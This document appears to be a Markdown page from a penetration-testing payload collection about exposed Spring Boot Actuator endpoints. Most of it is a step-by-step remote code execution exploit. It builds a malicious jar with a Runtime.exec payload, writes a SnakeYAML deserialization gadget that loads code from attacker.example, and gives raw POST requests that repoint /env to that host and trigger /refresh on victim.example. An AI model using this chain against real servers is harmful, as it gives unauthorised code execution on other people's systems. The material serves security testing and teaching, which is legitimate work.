95 lines
2.8 KiB
Markdown
95 lines
2.8 KiB
Markdown
# Insecure management interface
|
||
|
||
## Springboot-Actuator
|
||
|
||
Actuator endpoints let you monitor and interact with your application.
|
||
Spring Boot includes a number of built-in endpoints and lets you add your own.
|
||
For example, the `/health` endpoint provides basic application health information.
|
||
|
||
Some of them contains sensitive info such as :
|
||
|
||
- `/trace` - Displays trace information (by default the last 100 HTTP requests with headers).
|
||
- `/env` - Displays the current environment properties (from Spring’s ConfigurableEnvironment).
|
||
- `/heapdump` - Builds and returns a heap dump from the JVM used by our application.
|
||
- `/dump` - Displays a dump of threads (including a stack trace).
|
||
- `/logfile` - Outputs the contents of the log file.
|
||
- `/mappings` - Shows all of the MVC controller mappings.
|
||
|
||
These endpoints are enabled by default in Springboot 1.X.
|
||
Note: Sensitive endpoints will require a username/password when they are accessed over HTTP.
|
||
|
||
Since Springboot 2.X only `/health` and `/info` are enabled by default.
|
||
|
||
### Remote Code Execution via `/env`
|
||
|
||
Spring is able to load external configurations in the YAML format.
|
||
The YAML config is parsed with the SnakeYAML library, which is susceptible to deserialization attacks.
|
||
In other words, an attacker can gain remote code execution by loading a malicious config file.
|
||
|
||
#### Steps
|
||
|
||
1. Generate a payload of SnakeYAML deserialization gadget.
|
||
|
||
- Build malicious jar
|
||
```bash
|
||
git clone https://github.com/artsploit/yaml-payload.git
|
||
cd yaml-payload
|
||
# Edit the payload before executing the last commands (see below)
|
||
javac src/artsploit/AwesomeScriptEngineFactory.java
|
||
jar -cvf yaml-payload.jar -C src/ .
|
||
```
|
||
|
||
- Edit src/artsploit/AwesomeScriptEngineFactory.java
|
||
|
||
```java
|
||
public AwesomeScriptEngineFactory() {
|
||
try {
|
||
Runtime.getRuntime().exec("ping rce.poc.attacker.example"); // COMMAND HERE
|
||
} catch (IOException e) {
|
||
e.printStackTrace();
|
||
}
|
||
}
|
||
```
|
||
|
||
- Create a malicious yaml config (yaml-payload.yml)
|
||
|
||
```yaml
|
||
!!javax.script.ScriptEngineManager [
|
||
!!java.net.URLClassLoader [[
|
||
!!java.net.URL ["http://attacker.example/yaml-payload.jar"]
|
||
]]
|
||
]
|
||
```
|
||
|
||
|
||
2. Host the malicious files on your server.
|
||
|
||
- yaml-payload.jar
|
||
- yaml-payload.yml
|
||
|
||
|
||
3. Change `spring.cloud.bootstrap.location` to your server.
|
||
|
||
```
|
||
POST /env HTTP/1.1
|
||
Host: victim.example:8090
|
||
Content-Type: application/x-www-form-urlencoded
|
||
Content-Length: 59
|
||
|
||
spring.cloud.bootstrap.location=http://attacker.example/yaml-payload.yml
|
||
```
|
||
|
||
4. Reload the configuration.
|
||
|
||
```
|
||
POST /refresh HTTP/1.1
|
||
Host: victim.example:8090
|
||
Content-Type: application/x-www-form-urlencoded
|
||
Content-Length: 0
|
||
```
|
||
|
||
## References
|
||
|
||
* [Springboot - Official Documentation](https://docs.spring.io/spring-boot/docs/current/reference/html/production-ready-endpoints.html)
|
||
* [Exploiting Spring Boot Actuators - Veracode](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators)
|